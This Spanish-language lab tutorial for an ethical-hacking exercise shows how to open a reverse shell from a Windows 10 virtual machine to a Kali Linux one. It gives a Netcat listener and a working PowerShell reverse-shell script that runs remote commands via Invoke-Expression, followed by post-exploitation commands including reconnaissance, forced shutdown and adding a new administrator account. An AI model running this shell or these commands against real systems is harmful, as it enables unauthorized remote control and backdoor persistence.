Este ejercicio tiene como objetivo utilizar comandos CMD de Windows en el contexto de una conexión remota, simulando un ataque de hacking remoto. Este tutorial te ayudará a establecer una reverse shell desde una máquina Windows 10 hacia una máquina Kali Linux, ejecutando una serie de comandos para obtener información crítica del sistema Windows. Todo esto se hará en un entorno controlado, utilizando máquinas virtuales, y estará enfocado en la fase de post-explotación de un ataque ético.
Netcat
(preinstalado en Kali Linux)Ambas maquinas virtuales deben estar configuradas con la opción adaptador en modo puente para que puedan comunicarse a través de la red local.
Configuración de la Red. Verifica que ambas máquinas se puedan comunicar utilizando el comando ping
en Kali hacia Windows y viceversa.
Establece la conexión con Netcat en la máquina Kali Linux (Atacante). Abre una terminal y escucha en un puerto específico (en este caso, el puerto 4444) utilizando Netcat:
1nc -lvnp 4444
Esto establecerá un listener en la máquina Kali, esperando la conexión desde Windows.
1 $client = New-Object System.Net.Sockets.TCPClient("IP-de-Kali", 4444); 2 $stream = $client.GetStream(); 3 $reader = New-Object System.IO.StreamReader($stream); 4 $writer = New-Object System.IO.StreamWriter($stream); 5 $writer.AutoFlush = $true; 6 7 while ($true) { 8 $data = $reader.ReadLine(); 9 10 11 if ($data -eq "exit") { break } 12 13 try { 14 $result = Invoke-Expression $data 2>&1 | Out-String; 15 $writer.WriteLine($result); 16 } catch { 17 $writer.WriteLine("Error: $_"); 18 } 19 20 $writer.Flush(); 21 }
Nota: Recuerda reemplazar "IP-de-Kali"
con la dirección IP de tu máquina Kali Linux.
Con el script ejecutándose en Windows, ya puedes enviar comandos desde Kali a través de la sesión Netcat que has iniciado. Aquí tienes algunos comandos útiles para interactuar con la máquina Windows:
1dir
1systeminfo
1ipconfig
1tasklist
Ver información del equipo:
1hostname
Listar los usuarios en el sistema:
1net user
Ver las conexiones de red activas::
1netstat -an
1tasklist
1mkdir C:\TestFolder
1shutdown /s /t 0 # Apagar 2shutdown /r /t 0 # Reiniciar
1net user nuevo_usuario contraseña /add 2net localgroup Administradores nuevo_usuario /add
Investiga mas comandos para practicar.
1exit